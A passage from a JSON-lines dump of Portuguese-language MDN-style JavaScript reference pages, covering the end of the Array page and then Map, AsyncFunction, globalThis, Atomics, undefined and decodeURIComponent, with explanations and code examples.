['Morango', 'Banana'];\n```\n\n### Procurar o índice de um item na Array\n\n\n```js\nfrutas.push(\"Manga\");\n// ['Morango', 'Banana', 'Manga']\n\nvar pos = frutas.indexOf(\"Banana\");\n// 1\n```\n\n### Remover um item pela posição do índice\n\n\n```js\nvar removedItem = frutas.splice(pos, 1); // é assim que se remove um item\n// ['Morango', 'Manga']\n```\n\n### Remover itens de uma posição de índice\n\n\n```js\nvar vegetais = [\"Repolho\", \"Nabo\", \"Rabanete\", \"Cenoura\"];\nconsole.log(vegetais);\n// ['Repolho', 'Nabo', 'Rabanete', 'Cenoura']\n\nvar pos = 1,\n  n = 2;\n\nvar itensRemovidos = vegetais.splice(pos, n);\n// Isso é como se faz para remover itens, n define o número de itens a se remover,\n// a partir da posição (pos) em direção ao fim da array.\n\nconsole.log(vegetais);\n// ['Repolho', 'Cenoura'] (o array original é alterado)\n\nconsole.log(itensRemovidos);\n// ['Nabo', 'Rabanete']\n```\n\n### Copiar um Array\n\n\n```js\nvar copiar = frutas.slice(); // é assim que se copia\n// ['Morango', 'Manga']\n```\n\n### Exemplo: Criando um array bi-dimensional\n\nO exemplo a seguir cria um tabuleiro de xadrez usando dois arrays bi-dimensionais de string. A primeira jogada é feita copiando o 'p' em 6,4 para 4,4. A posição antiga de 6,4 é colocada em branco.\n\n\n```js\nvar board = [\n  [\"R\", \"N\", \"B\", \"Q\", \"K\", \"B\", \"N\", \"R\"],\n  [\"P\", \"P\", \"P\", \"P\", \"P\", \"P\", \"P\", \"P\"],\n  [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n  [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n  [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n  [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"],\n  [\"p\", \"p\", \"p\", \"p\", \"p\", \"p\", \"p\", \"p\"],\n  [\"r\", \"n\", \"b\", \"q\", \"k\", \"b\", \"n\", \"r\"],\n];\nconsole.log(board.join(\"\\n\") + \"\\n\\n\");\n\n// Fazendo o King's Pawn avançar 2\nboard[4][4] = board[6][4];\nboard[6][4] = \" \";\nconsole.log(board.join(\"\\n\"));\n```\n\n\nSaída:\n```\n\nR,N,B,Q,K,B,N,R\nP,P,P,P,P,P,P,P\n , , , , , , ,\n , , , , , , ,\n , , , , , , ,\n , , , , , , ,\np,p,p,p,p,p,p,p\nr,n,b,q,k,b,n,r\n\nR,N,B,Q,K,B,N,R\nP,P,P,P,P,P,P,P\n , , , , , , ,\n , , , , , , ,\n , , , ,p, , ,\n , , , , , , ,\np,p,p,p, ,p,p,p\nr,n,b,q,k,b,n,r\n```\n\n### Utilizando um array para tabular um conjunto de valores\n\n\n```js\nvalues = [];\nfor (var x = 0; x < 10; x++) {\n  values.push([2 \\*\\* x, 2 \\* x \\*\\* 2]);\n}\nconsole.table(values);\n```\n\n\nSaída:\n```\n\n0  1  0\n1  2  2\n2  4  8\n3  8  18\n4  16  32\n5  32  50\n6  64  72\n7  128  98\n8  256  128\n9  512  162\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array-objects |\n\nCompatibilidade com os navegadores\n----------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* \"Indexing object properties\" in JavaScript Guide: \"Working with objects\" (en-US)\n* New in JavaScript 1.7: Array comprehensions\n* New in JavaScript 1.6: Array extras\n* Draft: Typed Arrays (en-US)"}
{"title":"Map - JavaScript","text":"Map\n===\n\nO objeto **`Map`** contém pares de chave-valor e lembra a ordem original da inserção das chaves. Qualquer valor (objetos e valores primitivos) podem ser usados como chave ou valor.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nUm objeto `Map` itera seus elementos na order da inserção - um loop `for...of` retorna um array de `[key, value]` para cada iteração\n\n### Igualdade de chaves\n\n* A igualdade de chaves é baseada no algoritimo `sameValueZero`.\n* O `NaN` é considerado o mesmo que o `NaN` (apesar de `NaN !== NaN`) e todos os outros valores são considerados de acordo com a semântica do operador `===`.\n* Na especificação atual do ECMAScript, `-0` e `+0` são considerados iguais, embora não tenha sido nos esboços anteriores. Veja *\"Equivalência de valor entre -0 e 0\"* em Compatibilidade com navegadores para mais detalhes;\n### Objetos vs. Maps\n\nUm `Object` é similar o `Map` - ambos permitem que valores sejam definidos a chaves, retornar esses valores, remover as chaves, e detectar se algo está armazenado na chave. Por esta razão (e porque não existem outras alternativas construídas), o `Objeto` tem sido usado como `Map` historicamente.\n\nPorém, existem diferenças importantes que fazem o `Map` ser preferido em alguns casos:\n\n|  | Map | Objeto |\n| --- | --- | --- |\n| Chaves acidentais | O `Map` não contém nenhuma chave por padrão. Ele só contém o que é definido explicitamente nele. | Um `Objeto` tem um prototype, então ele contém por padrão algumas chaves que podem conflitar com suas próprias chaves se você não for cuidadoso.\n\n**Nota:** Apartir do ES5, isso pode ser ignorado com o `Object.create(null)`, mas isso raramente é feito.\n |\n| Tipos das chaves | As chaves do `Map` podem ser qualquer valor (incluindo funções, objetos, ou qualquer outro tipo primitivo). | A chave de um `Objeto` deve ser uma `String` ou um `Symbol`. |\n| Ordem das chaves | As chaves dentro do `Map` são ordenadas de forma simples, de maneira direta: O objeto `Map` itera suas entradas, chaves, e valor na ordem em que foram inseridas. | Embora as chaves de um `Objeto` comum hoje sejam ordenadas, nem sempre esse foi o caso, e a ordem é complexa. Como resultado é melhor não confiar na ordem das propriedades.\n\n A ordem foi definida primeiramente para suas próprias propriedades apenas no ECMAScript 2015; no ECMAScript 2020 a ordem definida é por propriedades herdadas também.\n Veja o\n OrdinaryOwnPropertyKeys\n e\n numerateObjectPropertiesoperações de especificações abstraídas. Mas note que nenhum mecanismo itera **todas** as propriedades do objeto; cada um dos vários mecanismos incluem diferentes subconjuntos de propriedades.\n (`for-in`\n incluí apenas propriedades enumeráveis com chaves do tipo string\n `Object.keys` inclui apenas chaves próprias e enumeráveis do tipo string;\n `Object.getOwnPropertyNames` incluí o próprio, e propriedades com chaves do tipo string, mesmo que não enumeráveis\n `Object.getOwnPropertySymbols` faz o mesmo só que para\n propriedades `Símbolos` como chave, etc.)\n  |\n| Tamanho | \n O número de items dentro de um `Map`\n é facilmente retornado pela propriedade `size` | O número de items dentro de um `Objeto` deve ser determinado manualmente |\n| Iteração | Um `Map` é `iterável`, então ele pode ser diretamente iterável | O `Objeto` não implementa o protocolo de iteração, e os objetos não podem ser iterados diretamente usando o for...of (por padrão).\n\n**Nota:**\n* Um objeto pode implementar o protocolo de iteração, ou pode ser iterado usando o `Object.keys`ou`Object.entries`.\n* A declaração for...in\n permite que você itere pela propriedades enumeráveis de um objeto.\n\n |\n| Performance | Perfoma melhor em cenários envolvendo adições e remoções frequentes em pares chave-valor. | Não é otimizado para adições e remoções frequentes de pares chave-valor. |\n| Serialização e análise sintática | Não há suporte nativo para a serialização ou análise sintática.\n\n (Mas você pode construir sua própria serialização e conversão para o `Map` usando o\n `JSON.stringify()` como o argumento *replacer*,\n e usando o `JSON.parse()` com o argumento *reviver*.\n Veja a questão no Stack Overflow How do you JSON.stringify an ES6 Map?).\n  | Suporte nativo para serialização de `Objeto` para JSON, usando `JSON.stringify()`.\nSuporte nativo para conversão de JSON para `Objeto` usando `JSON.parse()`. |\n\n### Definindo propriedades no objeto\n\nDefinir propriedades no objeto também funciona em objetos `Map`, e pode causar um confusão considerável.\n\nPortanto, isso aparenta funcionar de certa forma:\n\n\n```js\nconst wrongMap = new Map();\nwrongMap[\"bla\"] = \"blaa\";\nwrongMap[\"bla2\"] = \"blaaa2\";\n\nconsole.log(wrongMap); // Map { bla: 'blaa', bla2: 'blaaa2' }\n```\n\n\nMas esse jeito de definir propriedades não interage com a estrura de dados do `Map`. Dessa forma é usada a implementação genérica do objeto. O valor 'bla' não é armazenado no `Map` para queries. Outras operaçãoes nos dados irão falhar.\n\n\n```js\nwrongMap.has(\"bla\"); // false\nwrongMap.delete(\"bla\"); // false\nconsole.log(wrongMap); // Map { bla: 'blaa', bla2: 'blaaa2' }\n```\n\n\nA maneira correta para armazenar dados dentro do `Map` é através do `set(key,value)`\n\n\n```js\nconst contacts = new Map();\ncontacts.set(\"Jessie\", { phone: \"213-555-1234\", address: \"123 N 1st Ave\" });\ncontacts.has(\"Jessie\"); // true\ncontacts.get(\"Hilary\"); // undefined\ncontacts.set(\"Hilary\", { phone: \"617-555-4321\", address: \"321 S 2nd St\" });\ncontacts.get(\"Jessie\"); // {phone: \"213-555-1234\", address: \"123 N 1st Ave\"}\ncontacts.delete(\"Raymond\"); // false\ncontacts.delete(\"Jessie\"); // true\nconsole.log(contacts.size); // 1\n```\n\nConstrutor\n----------\n\n`Map()`\n\nCria um novo objeto `Map`.\n\npropriedades estáticas\n----------------------\n\n`get Map[@@species]`\n\nA função do construtor que é usada para criar apartir de objetos.\n\npropriedades da instância\n-------------------------\n\n`Map.prototype.size`\n\nRetorna o número de pares chave/valor no objeto `Map`.\n\nMétodos da instância\n--------------------\n\n`Map.prototype.clear()`\n\nRemove todos os pares chave/valor do objeto `Map`.\n\n`Map.prototype.delete(key)`\n\n Retorna `true` se o elemento no objeto `Map` existia e tenha sido removido, ou `false`\n se o elemento não existia. `Map.prototype.has(key)` irá retornar `false` após isso.\n\n\n`Map.prototype.get(key)`\n\nRetorna o valor associado à chave, ou `undefined` se não há nada.\n\n`Map.prototype.has(key)`\n\nRetorna uma asserção booleana se o valor tenha sido associado à chave no objeto `Map` ou não.\n\n`Map.prototype.set(key, value)`\n\nDefine o `valor` para a `chave` no objeto `Map`. Retorna o objeto `Map`\n\n### Métodos iterativos\n\n`Map.prototype[@@iterator]()`\n\nRetorna um novo objeto iterador que contèm **um array de `[chave, valor]`** para cada elemento do objeto `Map` na ordem em que foram inseridos.\n\n`Map.prototype.keys()`\n\nRetorna um novo objeto iterador que contèm as **chaves** de cada elemento do objeto `Map` na ordem em que foram inseridos.\n\n`Map.prototype.values()`\n\nRetorna um novo objeto iterador que contém os **valores** para cada elemento do objeto `Map` na ordem em que foram inseridos.\n\n`Map.prototype.entries()`\n\n Retorna um novo objeto iterador que contèm **um array de `[chave, valor]`**\n para cada elemento no objeto `Map` na ordem em que foram inseridos.\n\n\n`Map.prototype.forEach(callbackFn[,\n thisArg])`\n\nInvoca o `callbackFn` uma vez para cada par chave-valor presente no objeto `Map`, na ordem em que foram inseridos. Se um parâmetro `thisArg` é provido para o `forEach`, será usado o valor de `this` para cada callback.\n\nExemplos\n--------\n\n### Usando o objeto Map\n\n\n```js\nconst myMap = new Map();\n\nconst keyString = \"a string\";\nconst keyObj = {};\nconst keyFunc = function () {};\n\n// setting the values\nmyMap.set(keyString, \"value associated with 'a string'\");\nmyMap.set(keyObj, \"value associated with keyObj\");\nmyMap.set(keyFunc, \"value associated with keyFunc\");\n\nmyMap.size; // 3\n\n// getting the values\nmyMap.get(keyString); // \"valor associado a 'a string'\"\nmyMap.get(keyObj); // \"valor associado a keyObj\"\nmyMap.get(keyFunc); // \"valor associado a keyFunc\"\n\nmyMap.get(\"a string\"); // \"valor associado a 'a string'\"\n// porque keyString === 'a string'\nmyMap.get({}); // undefined, porque keyObj !== {}\nmyMap.get(function () {}); // undefined, porque keyFunc !== function () {}\n```\n\n### Usando NaN como chaves de Map\n\n`NaN` também pode ser usado como chave. Apesar de todo o `NaN` não ser igual a ele mesmo (`NaN !== NaN`), o exemplo a seguir funciona porque não é possível distinguir um `NaN` de outros.\n\n\n```js\nconst myMap = new Map();\nmyMap.set(NaN, \"not a number\");\n\nmyMap.get(NaN);\n// \"not a number\"\n\nconst otherNaN = Number(\"foo\");\nmyMap.get(otherNaN);\n// \"not a number\"\n```\n\n### Iterando o Map com for..of\n\n`Maps` podem ser iterados usando um loop `for..of`:\n\n\n```js\nconst myMap = new Map();\nmyMap.set(0, \"zero\");\nmyMap.set(1, \"one\");\n\nfor (const [key, value] of myMap) {\n  console.log(key + \" = \" + value);\n}\n// 0 = zero\n// 1 = um\n\nfor (const key of myMap.keys()) {\n  console.log(key);\n}\n// 0\n// 1\n\nfor (const value of myMap.values()) {\n  console.log(value);\n}\n// zero\n// one\n\nfor (const [key, value] of myMap.entries()) {\n  console.log(key + \" = \" + value);\n}\n// 0 = zero\n// 1 = one\n```\n\n### Iterando o Map com forEach()\n\n`Maps` podem ser iterados usando o\n método `forEach()`:\n\n\n```js\nmyMap.forEach(function (value, key) {\n  console.log(key + \" = \" + value);\n});\n// 0 = zero\n// 1 = um\n```\n\n### Relação com Arrays\n\n\n```js\nconst kvArray = [\n  [\"key1\", \"value1\"],\n  [\"key2\", \"value2\"],\n];\n\n// Use o construtor padrão do Map para transformar um array 2D chave-valor em um map\nconst myMap = new Map(kvArray);\n\nmyMap.get(\"key1\"); // retorna \"value1\"\n\n// Use o Array.from() para transformar um map em um Array bidimensional de chaves e valores\nconsole.log(Array.from(myMap)); // Irá exibir para você o mesmo Array como um Array chave-valor\n\n// Uma forma sucinta de fazer o mesmo, utilizando a sintaxe spread\nconsole.log([...myMap]);\n\n// Ou use os iteradores keys() ou values(), e os converta para um array\nconsole.log(Array.from(myMap.keys())); // [\"key1\", \"key2\"]\n```\n\n### Clonando e mesclando Maps\n\nAssim como `Arrays`, o map também pode ser clonado:\n\n\n```js\nconst original = new Map([[1, \"um\"]]);\n\nconst clone = new Map(original);\n\nconsole.log(clone.get(1)); // um\nconsole.log(original === clone); // false (Útil para comparações superficiais)\n```\n\n\n**Nota:** Tenha em mente que *o dado em si* não é clonado.\n\nMaps podem ser mesclados, mantendo as chaves únicas:\n\n\n```js\nconst first = new Map([\n  [1, \"one\"],\n  [2, \"two\"],\n  [3, \"three\"],\n]);\n\nconst second = new Map([\n  [1, \"uno\"],\n  [2, \"dos\"],\n]);\n\n// Mescla dois maps. A última chave a se repetir vence.\n// O operador spread essenciamente converte um Map para um Array\nconst merged = new Map([...first, ...second]);\n\nconsole.log(merged.get(1)); // uno\nconsole.log(merged.get(2)); // dos\nconsole.log(merged.get(3)); // three\n```\n\n\nMaps podem ser mesclados com array também:\n\n\n```js\nconst first = new Map([\n  [1, \"one\"],\n  [2, \"two\"],\n  [3, \"three\"],\n]);\n\nconst second = new Map([\n  [1, \"uno\"],\n  [2, \"dos\"],\n]);\n\n// Mescla maps com um array. A última chave a se repetir vence.\nconst merged = new Map([...first, ...second, [1, \"eins\"]]);\n\nconsole.log(merged.get(1)); // eins\nconsole.log(merged.get(2)); // dos\nconsole.log(merged.get(3)); // three\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Um polyfill do `Map` está disponível em\n `core-js`\n* `Set`\n* `WeakMap`\n* `WeakSet`"}
{"title":"AsyncFunction - JavaScript","text":"AsyncFunction\n=============\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO **construtor `AsyncFunction`** cria um novo objeto `async function`. Em JavaScript cada função assíncrona é atualmente um objeto do tipo `AsyncFunction`.\n\nNote que`AsyncFunction` não é um objeto global. Ele poderia ser obtido analisando o seguinte código:\n\n\n```js\nObject.getPrototypeOf(async function () {}).constructor;\n```\n\nSintaxe\n-------\n```\n\nnew AsyncFunction([arg1[, arg2[, ...argN]],] functionBody)\n```\n\n### Parameters\n\n`arg1, arg2, ... argN`\n\nNomes que vão ser usados pela função como argumentos formais. Cada um deve ser uma string que corresponde a um indentificador JavaScript válido ou uma lista das strings separadas com uma vírgula; por exemplo \"`x`\", \"`oValor`\", or \"`a,b`\".\n\n`functionBody`\n\nUma string contendo as declarações JavaScript que compõem a definição da função.\n\nDescrição\n---------\n\nObjetos `async function` criados com o construtor `AsyncFunction` são tratados quando a função é criada. Isso é menos eficiente que declarar uma função async com a `expression async function` e chama-la com seu código, porque essas funções são tratadas com o resto do código.\n\nTodos os argumentos passado para a função são tratados como nomes dos identificadores dos parâmetros na função que vai ser criada, na ordem que eles são passados.\n\n**Nota:** `async functions` criadas com o construtor `AsyncFunction` não cria closures para seus contextos de criação; elas sempre criadas no escopo global. Quando rodar eles, eles só poderão acessar suas variáveis local e as globais, mas não as que estão no escopo que o construtor foi `AsyncFunction` chamado. Isso é diferente de usar `eval` com código para uma expressão async function.\n\nInvocar o construtor `AsyncFunction` como uma função (sem usar o operador `new`) tem o mesmo efeito de invocá-lo como um construtor.\n\nPropriedades\n------------\n\n**`AsyncFunction.length`**\n\nA propriedade tamanho do construtor da `AsyncFunction` cujo valor é 1.\n\n`AsyncFunction.prototype`\n\nPermite a adição de propriedades para todos os objetos async function.\n\n`AsyncFunction` prototype object\n--------------------------------\n\n### Propriedades\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/AsyncFunction/prototype', 'Propriedades')}}`AsyncFunction` instances\n-------------------------\n\nInstância `AsyncFunction` herdam métodos e propriedades do `AsyncFunction.prototype`. Com todos os contrutores, que podem mudar o prototype do objeto construtor para fazer mudanças em todas as instâncias do `AsyncFunction`.\n\nExemplos\n--------\n\n### Criando uma async function a partir do construtor de uma `AsyncFunction`\n\n\n```js\nfunction resolveAfter2Seconds(x) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve(x);\n    }, 2000);\n  });\n}\n\nvar AsyncFunction = Object.getPrototypeOf(async function () {}).constructor;\n\nvar a = new AsyncFunction(\n  \"a\",\n  \"b\",\n  \"return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);\",\n);\n\na(10, 20).then((v) => {\n  console.log(v); // imprime 30 após 4 seconds\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-async-function-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `async function function`\n* `async function expression`\n* `Function`\n* `function statement`\n* `function expression`\n* Funções e escopo de função (en-US)"}
{"title":"globalThis - JavaScript","text":"globalThis\n==========\n\nA propriedade global **`globalThis`** retorna um objeto global de nível superior.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nglobalThis\n```\n\nDescrição\n---------\n\n Historicamente, o acesso ao escopo global exigiu uma sintaxe diferente em diferentes ambientes JavaScript. Na web você pode usar `window` (en-US), `self` (en-US) ou `frames` (en-US) - porém em Web Workers somente `self` funcionará. Em Node.js nada disso funciona e você deve usar `global`.\n A palavra-chave `this` poderia ser usada dentro de funções em execução no modo *sloppy*, mas `this` será `undefined` em módulos, e dentro de funções em execução no *strict mode*.\n\nA propriedade `globalThis` fornece uma maneira padrão de acessar o objeto global entre ambientes. Ao contrário de propriedades semelhantes, como `window` (en-US) e `self` (en-US), é garantido que funcione em contextos *window* e *non-window*. Dessa forma, você pode acessar o objeto global de maneira consistente sem precisar saber em qual ambiente o código está sendo executado.\n\nPara ajudá-lo a lembrar o nome, lembre-se que no escopo global, o valor de `this` é `globalThis`.\n\n### Nome\n\nVárias outras opções de nomes populares, como `self` e `global` foram removidas da discussão devido ao seu potencial em quebrar a compatibilidade com o código existente.\n\nExemplos\n--------\n\nAntes de `globalThis`, a única maneira confiável de obter o objeto global para um ambiente era `Function('return this')()`. No entanto, isso causa violações CSP em algumas configurações, então es6-shim usa uma verificação como essa, por exemplo:\n\n\n```js\nvar getGlobal = function () {\n  if (typeof self !== \"undefined\") {\n    return self;\n  }\n  if (typeof window !== \"undefined\") {\n    return window;\n  }\n  if (typeof global !== \"undefined\") {\n    return global;\n  }\n  throw new Error(\"unable to locate global object\");\n};\n\nvar globals = getGlobal();\n\nif (typeof globals.setTimeout !== \"function\") {\n  // sem setTimeout neste ambiente!\n}\n```\n\n\nCom `globalThis` disponível, a busca global adicional entre ambientes não é mais necessária:\n\n\n```js\nif (typeof globalThis.setTimeout !== \"function\") {\n  // sem setTimeout neste ambiente!\n}\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Comentário |\n| --- | --- | --- |\n| globalThis proposal | Stage 3 |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Atomics - JavaScript","text":"Atomics\n=======\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO objeto **`Atomics`** fornece operações atômicas como metodos estáticos. Eles são usados com objetos `SharedArrayBuffer` (en-US).\n\nAs operações atômicas estão localizadas no modulo `Atomics`. Diferente de outros *global objects*, `Atomics` não é um construtor. Você não deve usa-lo com o `new` operator ou invocar objetos `Atomics` como funções. Todas as propriedades e método do `Atomics` são estáticos (como é o caso com o objeto `Math`, por exemplo).\n\nMétodos\n-------\n\n### Operações Atômicas\n\nQuando a memória é compartilhada, multiplas threads podem ser lidas e escritas no mesmo dado da memória. Operações atômicas garantem que os valores previstos sejam lidos e escritos, estas operações são finalizadas antes da próxima operação iniciar e que as mesmas não sejam interrompidas.\n\n`Atomics.add()`\n\nAdiciona o valor recebido na posiçao recebida no array. Retorna o valor anterior nesta posição.\n\n`Atomics.and()` (en-US)\n\nCalcula um bit a bit AND na posição recebida no array. Retorna o valor anterior nesta posição.\n\n`Atomics.compareExchange()` (en-US)\n\nArmazena o valor recebido na posição recebida no array, se este foi igual ao valor recebido. Retorna o valor anterior nesta posição.\n\n`Atomics.exchange()` (en-US)\n\nArmazena o valor recebido na posição recebida no array. Retorna o valor anterior.\n\n`Atomics.load()` (en-US)\n\nRetorna o valor na posição recebida no array.\n\n`Atomics.or()` (en-US)\n\nCalcula um bit a bit OR na posição recebida no array. Retorna o valor anterior nesta posição.\n\n`Atomics.store()` (en-US)\n\nArmazena o valor recebido na posição recebida no array. Retorna o valor.\n\n`Atomics.sub()` (en-US)\n\nSubtrai o valor recebido na posição recebida no array. Retorna o valor anterior nesta posição.\n\n`Atomics.xor()` (en-US)\n\nCalcula um bit a bit XOR na posição recebida no array. Retorna o valor anterior nesta posição.\n\n### Wait e wake\n\nOs métodos `wait()` e `wake()` são modelados no Linux futexes (\"fast user-space mutex\") e fornece formas de aguardar até que certas condições se tornem `true` e são tipicamente usadas como construtores de bloco.\n\n`Atomics.wait()` (en-US)\n\nVerifica se a posição informada no array ainda contém a valor recebido e dorme à espera ou até o tempo limite. Retorna `\"ok\"`, `\"not-equal\"`, ou `\"timed-out\"`. Se a espera não for permitida no agente de chamada ele irá lançar uma exceção de erro (muitos navegadores não permitem `wait()` na thread main do navegador).\n\n`Atomics.wake()` (en-US)\n\n\"Acorda\" alguns agentes que estavam \"dormindo\" na lista de espera na posição recebida do array. Retorna o número de agentes que estão sendo \"acordados\".\n\n`Atomics.isLockFree(size)` (en-US)\n\nUma otimização primitiva que pode ser usada para determinar se deve ser usado lock ou operações atômicas. Retorna `true`, se uma operação atômica em matrizes de um dado tamanho do elemento vai ser implementado utilizando uma operação atômica de hardware (como oposição a lock). Só para experientes.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-atomics-object |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nObservações de compatibilidade\n------------------------------\n\n[3] A especificação de compartilhamento de memória está sendo estabilizada. Anterior ao SpiderMonkey 48, a última API e semântica não foram implementadas ainda. As alterações entre as versões 46 e 48 do Firefox são:\n\n* Os métodos `Atomics.futexWakeOrRequeue()` e `Atomics.fence()` foram totalmente removidos (Erro do Firefox 1259544 e Erro do Firefox 1225028).\n* O método `Atomics.wait()` (en-US) e `Atomics.wake()` (en-US) foram nomeados como `Atomics.futexWait()` e `Atomics.futexWake()` (Erro do Firefox 1260910). Os nomes antigos foram mantidos como alias, e serão removidos na versão 49 (Erro do Firefox 1262062).\n* As propriedades `Atomics.OK`, `Atomics.TIMEDOUT`, `Atomics.NOTEQUAL` foram removidas. O método `Atomics.wait()` (en-US) agora retorna \"ok\", \"timed-out\" e \"not-equal\" (Erro do Firefox 1260835).\n* O parâmetro `count` do método `Atomics.wake()` (en-US) foi alterado: este agora possui o valor padrão `+Infinity`, e não `0` (Erro do Firefox 1253350).\nVeja Também\n-----------\n\n* `ArrayBuffer`\n* JavaScript typed arrays\n* Web Workers\n* parlib-simple – a simple library providing synchronization and work distribution abstractions.\n* Shared Memory – a brief tutorial"}
{"title":"undefined - JavaScript","text":"undefined\n=========\n\nResumo\n------\n\nO valor global `undefined` representa um valor indefinido. Trata-se de um dos tipos primitivos do JavaScript.\n\n| Property attributes of `undefined` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nSintaxe\n-------\n```\n\nundefined\n```\n\nDescrição\n---------\n\nO `undefined` é uma propriedade do objeto `global`, ou seja, é uma variável no escopo global. O valor inicial de `undefined` é o valor primitivo `undefined`.\n\nNos browsers modernos (JavaScript 1.8.5 / Firefox 4+), a especificação ECMAScript 5 define que o `undefined` é uma propriedade não configurável e somente leitura. Mesmo quando esse não for o caso, evite sobrescrevê-lo.\n\nUma variável que não teve um valor atribuído é do tipo `undefined`. Um método ou sentença também retorna `undefined` se a variável que está sendo avaliada não tem um valor atribuído. Uma função retorna `undefined` se um valor não for `retornado`.\n\nUma vez que undefined não é uma `palavra reservada` (en-US), ele pode ser usado como um identificador (nome de variável) em qualquer escopo que não seja o escopo global.\n\n\n```js\n// escreve no console \"foo string\"\n(function () {\n  var undefined = \"foo\";\n  console.log(undefined, typeof undefined);\n})();\n\n// escreve no console \"foo string\"\n(function (undefined) {\n  console.log(undefined, typeof undefined);\n})(\"foo\");\n```\n\nExemplos\n--------\n\n### Igualdade estrita (===) e `undefined`\n\nVoce pode utilizar `undefined` com os operadores de igualdade e desigualdade estritas para determinar se a variável possui um valor. No código a seguir, a variável `x` não foi definida, e o resultado do `if` é verdadeiro.\n\n\n```js\nvar x;\nif (x === undefined) {\n  // sentenças aqui são executadas\n} else {\n  // o código aqui não é executado\n}\n```\n\n\n**Nota:** Observação: O operador de igualdade estrita (`===`) tem que ser utilizado aqui uma vez que `x == undefined` também checa se `x` é nulo, enquanto o operador não o faz. `null` não é equivalente à `undefined`. Veja `operadores de comparação` (en-US) (em inglês) para maiores detalhes.\n\n### `Operador Typeof` e `undefined`\n\nAlternativamente, `typeof` pode ser usado:\n\n\n```js\nvar x;\nif (typeof x === \"undefined\") {\n  // esse código é executado\n}\n```\n\n\nUma das principais razões para usar o `typeof` é que ele não lança erros caso a variável não tenha sido inicializada.\n\n\n```js\n// x não foi atribuída anteriormente\nif (typeof x === \"undefined\") {\n  // retorna verdadeiro sem lançar erros\n  // esse código executa\n}\n\nif (x === undefined) {\n  // lança um ReferenceError para x\n}\n```\n\n\nNo entanto, esse tipo de técnica deveria ser evitada. A linguagem JavaScript é uma linguagem com escopo estático, portanto o conhecimento sobre se uma variável está definida pode ser adquirido pela verificação de sua definição dentro do contexto à qual ela pertence. A única exceção é para o escopo global. No entanto, o escopo global é anexado ao objeto global, portanto a verificação da existência de uma variável no contexto global pode ser feita através de uma checagem na propriedade do objeto global usando o operador `in`, por exemplo.\n\n### `Operador Void` e `undefined`\n\nO operador `void` é a terceira alternativa.\n\n\n```js\nvar x;\nif (x === void 0) {\n  // esse código executa\n}\n\n// y não foi definido antes\nif (y === void 0) {\n  // lança uma ReferenceError (ao contrário de `typeof`)\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-undefined |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"decodeURIComponent() - JavaScript","text":"decodeURIComponent()\n====================\n\nO método **`decodeURIComponent()`** decodifica um componente Identificador Uniforme de Recursos (URI) criado anteriormente por um `encodeURIComponent` ou por uma rotina semelhante.\n\nSintaxe\n-------\n```\n\ndecodeURIComponent(encodedURI)\n```\n\n### Parâmetros\n\n`encodedURI`\n\nUm componente codificado de um Identificador Uniforme de Recursos.\n\nDescrição\n---------\n\nSubstitui cada sequência escapada no componente URI codificado com o caractere que a representa.\n\nExemplos\n--------\n\n### Decodificando um componente URL Cirílico\n\n\n```js\ndecodeURIComponent(\"JavaScript\\_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B\");\n// \"JavaScript\\_шеллы\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-decodeuricomponent-encodeduricomponent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `decodeURI`\n* `encodeURI`\n* `encodeURIComponent`"}
